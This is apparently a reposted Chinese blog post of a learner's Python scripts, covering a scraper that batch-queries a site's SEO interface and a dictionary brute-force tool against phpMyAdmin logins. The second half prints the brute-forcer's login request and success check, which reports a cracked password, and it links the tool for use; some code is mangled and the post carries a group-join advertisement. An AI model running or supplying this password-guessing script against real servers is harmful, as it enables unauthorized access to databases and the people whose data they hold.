Python学习记录脚本,想通过练习编写脚本一点点提升自己很菜的编程水平~~明天会更好,希望自己越来越强吧。
批量检测域名SEO相关信息
项目地址
GitHub - sqlsec/SEO: Python实现批量查询网站的百度权重以及收录情况。
实现原理
python3 实现批量查询网站的百度权重以及收录情况,利用的是站长之家的SEO查询接口,所以本脚本相当于是一个爬虫,用来批量提取数据信息。
进群:548377875 即可获取数十套pdf以及大量的学习资料!
模块相关
argparse
argparse 轻松编写用户友好的命令行界面。定义并解析了需要的参数。当用户给程序提供无效参数时,该模块还会自动生成帮助和使用消息并发出错误。
效果演示
progressbar
一个方便友好的进度条显示模块。
效果演示
prettytable
一个表格输出美化模块,展示结果很友好。
效果演示
相关代码解析
request请求代码
f = open(args.read,"r") lines = ''.join(f.readlines()).split("") tb = pt.prettytable(["域名","百度权重","百度收录","站点标题","域名年龄"]) p = progressbar.Progressbar() for domain in p(lines): url = 'http://SEO.chinaz.com/{domain}'.format(domain=domain) headers = { 'Host': 'SEO.chinaz.com','User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 firefox/61.0','Content-Type': 'application/x-www-form-urlencoded',} data = 'm=&host={domain}'.format(domain=domain) try: response = requests.post(url=url,headers=headers,data=data,timeout=10)HTML = response.text
正则相关
# 百度权重正则baIDu_pattern = re.compile(r'baIDuapp/(.*?).gif')baIDu = baIDu_pattern.findall(HTML)[0]# 收录数量正则count_pattern = re.compile(r'"Ma01liRow w12-1 ">(.*?)')count = count_pattern.findall(HTML)[4]# 站点标题正则domain_name = re.compile(r'>(.*?)')name = domain_name.findall(HTML)[0]# 域名年龄正则domain_year = re.compile(r'wd={domain}" target="_blank">(.*?)'.format(domain=domain))year = domain_year.findall(HTML)[1]
phpmyadmin爆破
项目地址
GitHub - sqlsec/Creakphpmyadmin: Python实现挂载字典爆破phpmyadmin,虽然目前速度不是很快,但还是可以使用的。
实现原理
从字典文件里面读取每行的密码信息带入 requests 请求中实现密码爆破的效果。 本脚本测试 phpmyadmin 版本是 PHPStudy 自带的版本。
模块相关
colorama
colorama 是一个 python 专门用来在控制台、命令行输出彩色文字的模块,可以跨平台使用。
效果演示
optparse
一个已经被 argparse 替代的命令行参数编写模块,建议搭建转到 argparse ,这个模块不建议学习使用了,我当初因为不知道 argparse 的存在才用了这个模块的。
相关代码解析
request请求代码
def req(url,username,password): headers = { 'Content-Type':'application/x-www-form-urlencoded','User-Agent':'Mozilla/5.0 (X11; linux x86_64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/63.0.3239.132 Safari/537.36','Accept':'text/HTML,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',} payload = { 'pma_username':'{}'.format(username),'pma_password':'{}'.format(password),'server':'1',} res = requests.post(url,data=payload,headers=headers) return res
正则相关
正则匹配输入密码后的页面返回结果来判断是否爆破成功。
try: res = req(args.url,args.username,password) login_success = re.compile(r'opendb_url') success = login_success.search(res.text) if success: flag = True print(Fore.GREEN + "[+] phpmyadmin is vulerable") print("PHPmyadin password is " + password) break except Exception as e: print(Fore.YELLOW + '执行异常{}'.format(e))总结
以上是内存溢出为你收集整理的Python爬虫加爆破脚本!会出现什么样的情况?砰,火花四溅!全部内容,希望文章能够帮你解决Python爬虫加爆破脚本!会出现什么样的情况?砰,火花四溅!所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)